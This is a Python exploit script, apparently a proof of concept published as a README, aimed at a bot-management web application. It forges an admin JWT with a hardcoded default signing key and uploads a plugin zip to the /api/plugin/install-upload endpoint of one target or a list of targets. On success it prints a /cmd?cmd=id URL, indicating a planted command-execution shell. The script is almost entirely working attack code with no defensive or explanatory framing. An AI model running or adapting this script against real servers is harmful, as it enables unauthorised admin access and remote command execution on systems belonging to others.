README.md
Rendering markdown...
import os
import jwt
import zipfile
import argparse
import datetime
import requests
from pathlib import Path
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool" # if you find the others key, you should replace it.
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
headers = {
"Authorization" : "Bearer " + forged
}
def zipfiles():
name = "helloworld"
zip_path = Path(f"{name}.zip")
base_dir = "helloworld"
files = ["metadata.yaml", "main.py", "LICENSE", "README.md", ".gitignore"]
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zipf:
zinfo = zipfile.ZipInfo(name + "/")
zipf.writestr(zinfo, "")
for fname in files:
zipf.write(os.path.join(base_dir, fname), arcname=os.path.join(name, fname))
zip_payload_bytes = zip_path.read_bytes()
zip_path.unlink()
return zip_payload_bytes, name
def get_urls(url_file, single_url):
if url_file:
try:
with open(url_file, "r", encoding = 'utf-8') as f:
for line in f:
if line.strip():
yield line.strip()
except FileExistsError:
print(f"error:Can't find the url_file:{url_file}")
elif single_url:
yield single_url
else:
print("Error: A single URL or a URL file must be provided.")
exit(1)
def main():
parser = argparse.ArgumentParser(
description=""
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
"url",
nargs='?',
help="single url "
)
group.add_argument(
"-r", "--url-file",
help = "File paths containing a list of target URLs, one URL per line."
)
args = parser.parse_args()
url_list = get_urls(args.url_file, args.url)
for url in url_list:
zip_payload_bytes, name = zipfiles()
resp = requests.post(
url + "/api/plugin/install-upload",
headers=headers,
files={"file": (name + ".zip", zip_payload_bytes)},
timeout=20,
verify=False,
)
try:
data = resp.json()
if data.get("message") == "安装成功。":
print(url + "/cmd?cmd=id")
except Exception:
print("failed")
if __name__ == "__main__":
main()